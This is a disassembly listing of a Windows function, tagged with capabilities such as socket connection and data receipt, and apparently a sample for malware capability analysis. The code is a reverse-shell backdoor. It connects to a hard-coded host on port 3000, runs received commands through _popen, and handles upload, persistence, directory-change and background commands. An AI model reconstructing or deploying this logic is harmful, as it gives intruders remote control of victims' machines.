Function at 0x140002060
Capabilities:
Connect socket
Get common file path
Initialize winsock library
Receive data
Receive data on socket
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0xae0
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rsp + 0xad0], rax
xor r12d, r12d
mov dword [rsp + 0x30], r12d
mov ecx, 0x202
lea rdx, [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400020ca
lea rdx, str.WSAStartup_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003fa0
jmp 0x140002371
xor r8d, r8d
lea edx, [r8 + 1]
mov r15d, 2
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140009908], rax
cmp rax, 0xffffffffffffffff
jne 0x140002105
lea rdx, str.Socket_creation_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003fa0
jmp 0x14000236a
mov word [rsp + 0xa0], r15w
mov ecx, 0xbb8
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xa2], ax
lea rcx, str.192.168.182.128
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xa4], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x140009908]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000217f
lea rdx, str.Connection_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003fa0
mov rcx, qword [0x140009908]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140002371
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], socket
mov byte [rsp + 0x60], 0
mov r8d, recv
lea rdx, str.Not_Implemented
lea rcx, [rsp + 0x60]
call fcn.140003df0
nop
lea rcx, [rsp + 0x60]
call fcn.140001e40
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400021f7
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000228c
call fcn.140004b28
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], socket
mov byte [rsp + 0x60], 0
lea rax, [rsp + 0x2d0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002230
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x60]
call fcn.140003df0
nop
lea rcx, [rsp + 0x60]
call fcn.140001e40
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140002298
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002293
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002293
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b28
lea rbx, [0x140006610]
lea rdi, str.help
lea r13, str.upload
nop dword [rax]
lea rcx, [rsp + 0x80]
call fcn.1400019c0
nop
lea rdx, [rsp + 0x80]
mov rsi, qword [rsp + 0x80]
mov r14, qword [rsp + 0x98]
cmp r14, 0x10
cmovae rdx, rsi
mov r15, qword [rsp + 0x90]
cmp r15, 4
jne 0x1400023a3
mov rcx, r12
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000230b
cmp rcx, 4
jne 0x1400022f3
mov eax, r12d
jmp 0x140002310
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400023a3
mov rcx, qword [0x140009908]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x14000236a
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002364
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000268f
call fcn.140004b28
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rcx, qword [rsp + 0xad0]
xor rcx, rsp
call fcn.1400045e0
lea r11, [rsp + 0xae0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, [rsp + 0x80]
cmp r14, 0x10
cmovae rcx, rsi
cmp r15, 7
jne 0x1400023d0
mov r8, r15
lea rdx, str.persist
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140002658
lea rax, [rsp + 0x80]
cmp r14, 0x10
cmovae rax, rsi
cmp r15, 2
jne 0x140002403
cmp byte [rax], 0x70
jne 0x1400023f6
cmp byte [rax + 1], 0x74
jne 0x1400023f6
mov eax, r12d
jmp 0x1400023fb
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002658
lea rbx, [rsp + 0x80]
cmp r14, 0x10
cmovae rbx, rsi
cmp r15, 3
jb 0x14000247c
lea rdi, [rbx + r15]
lea r8, [rdi - 2]
sub r8, rbx
mov edx, 0x63
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140002475
cmp byte [rax], 0x63
jne 0x14000244c
cmp byte [rax + 1], 0x64
jne 0x14000244c
cmp byte [rax + 2], 0x20
jne 0x14000244c
mov ecx, r12d
jmp 0x140002451
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x1400024de
inc rax
lea r8, [rdi - 2]
sub r8, rax
mov edx, 0x63
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140002436
lea rdi, str.help
lea rcx, [rsp + 0x80]
cmp r14, 0x10
cmovae rcx, rsi
cmp r15, 0xa
jne 0x1400024a9
mov r8, r15
lea rdx, str.background
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140002651
lea rax, [rsp + 0x80]
cmp r14, 0x10
cmovae rax, rsi
cmp r15, 2
jne 0x1400026ab
cmp byte [rax], 0x62
jne 0x1400026a2
cmp byte [rax + 1], 0x67
jne 0x1400026a2
mov eax, r12d
jmp 0x1400026a7
sub rax, rbx
jne 0x140002475
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], socket
mov byte [rsp + 0x60], al
cmp r15, 3
jb 0x140002cc0
lea rax, [r15 - 3]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x80]
cmp r14, 0x10
cmovae rdx, rsi
add rdx, 3
lea rcx, [rsp + 0x60]
call fcn.140003df0
or dword [rsp + 0x30], 1
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, [rsp + 0x6d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], socket
mov byte [rsp + 0x38], 0
lea rax, [rsp + 0x6d0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002590
lea rdx, [rsp + 0x6d0]
lea rcx, [rsp + 0x38]
call fcn.140003df0
nop
lea rcx, [rsp + 0x38]
call fcn.140001e40
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x1400025f9
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b28
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000263a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002634
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b28
nop
mov r14, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x80]
lea rdi, str.help
lea rbx, [0x140006610]
cmp r14, 0x10
jb 0x1400022b0
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002cb3
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor r12d, r12d
lea r13, str.upload
jmp 0x14000263a
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002651
lea rdx, [rsp + 0x80]
cmp r14, 0x10
cmovae rdx, rsi
cmp r15, 4
jne 0x1400026f5
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x1400026e8
cmp rcx, 4
jne 0x1400026d0
mov eax, r12d
jmp 0x1400026ed
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002651
lea rax, [rsp + 0x80]
cmp r14, 0x10
cmovae rax, rsi
cmp r15, 1
jne 0x140002722
cmp byte [rax], 0x68
jne 0x140002715
mov eax, r12d
jmp 0x14000271a
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002651
lea rdx, [rsp + 0x80]
cmp r14, 0x10
cmovae rdx, rsi
cmp r15, 5
jne 0x140002768
mov rcx, r12
lea r8, str.clear
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14000275b
cmp rcx, 5
jne 0x140002742
mov eax, r12d
jmp 0x140002760
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002651
lea rax, [rsp + 0x80]
cmp r14, 0x10
cmovae rax, rsi
cmp r15, 3
jne 0x1400027a1
cmp byte [rax], 0x63
jne 0x140002794
cmp byte [rax + 1], 0x6c
jne 0x140002794
cmp byte [rax + 2], 0x73
jne 0x140002794
mov eax, r12d
jmp 0x140002799
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002651
lea rbx, [rsp + 0x80]
cmp r14, 0x10
cmovae rbx, rsi
cmp r15, 6
jb 0x14000283d
lea rdi, [rbx + r15]
lea r8, [rdi - 5]
sub r8, rbx
mov edx, 0x75
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x14000283d
nop dword [rax + rax]
mov rdx, r12
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r9 + rdx]
inc rdx
cmp cl, byte [rdx + r13 - 1]
jne 0x14000280a
cmp rdx, 6
jne 0x1400027f0
mov eax, r12d
jmp 0x14000280f
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002834
inc r9
lea r8, [rdi - 5]
sub r8, r9
mov edx, 0x75
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x1400027e0
jmp 0x14000283d
sub r9, rbx
je 0x140002982
lea rbx, [rsp + 0x80]
cmp r14, 0x10
cmovae rbx, rsi
cmp r15, 2
jb 0x1400028ac
lea rdi, [rbx + r15]
lea r8, [rdi - 1]
sub r8, rbx
mov edx, 0x75
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1400028ac
cmp byte [rcx], 0x75
jne 0x140002883
cmp byte [rcx + 1], 0x70
jne 0x140002883
mov eax, r12d
jmp 0x140002888
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002979
inc rcx
lea r8, [rdi - 1]
sub r8, rcx
mov edx, 0x75
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
jne 0x140002873
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], socket
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x80]
cmp r14, 0x10
cmovae rcx, rsi
lea rdx, [0x140006670]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rsi, rax
nop dword [rax]
nop dword [rax + rax]
mov r8, rsi
mov edx, 0x80
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140002c60
lea rax, [rsp + 0x250]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002920
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140002c41
lea rax, [rbx + rcx]
mov qword [rsp + 0x70], rax
lea rdi, [rsp + 0x60]
cmp rdx, 0x10
cmovae rdi, qword [rsp + 0x60]
add rdi, rcx
mov r8, rbx
lea rdx, [rsp + 0x250]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x1400028f0
sub rcx, rbx
jne 0x1400028ac
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], socket
mov byte [rsp + 0x60], 0
cmp r15, 7
jb 0x140002cc6
lea rax, [r15 - 7]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x80]
cmp r14, 0x10
cmovae rdx, rsi
add rdx, 7
lea rcx, [rsp + 0x60]
call fcn.140003df0
or dword [rsp + 0x30], 2
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2d0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x2d0]
call fcn.140003c00
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], r15
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rsp + 0x6d0]
mov rcx, qword [0x140009908]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140002a7d
movsxd r8, eax
lea rdx, [rsp + 0x6d0]
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140002a40
lea rcx, [rsp + 0x2d8]
call fcn.140003b50
test rax, rax
jne 0x140002ab4
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x2d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r15
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x2d8], rax
cmp qword [rsp + 0x358], 0
je 0x140002b3a
mov rax, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x348]
cmp qword [rax], rcx
jne 0x140002b3a
mov rdx, qword [rsp + 0x368]
mov rcx, qword [rsp + 0x360]
mov qword [rax], rcx
mov rax, qword [rsp + 0x310]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x328]
mov dword [rax], edx
cmp byte [rsp + 0x354], 0
je 0x140002b51
lea rcx, [rsp + 0x2d8]
call fcn.140003b50
lea rcx, [rsp + 0x2d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x378]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140002bbd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b28
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], socket
mov byte [rsp + 0x38], 0
mov r8d, recv
lea rdx, str.File_Downloaded
lea rcx, [rsp + 0x38]
call fcn.140003df0
nop
lea rcx, [rsp + 0x38]
call fcn.140001e40
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000263a
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b28
jmp 0x14000263a
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x250]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1400043d0
jmp 0x1400028f0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rcx, [rsp + 0x60]
call fcn.140001e40
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000263a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rsi
call fcn.140004b28
jmp 0x1400022b0
call fcn.140003f80
nop
call fcn.140003f80
int3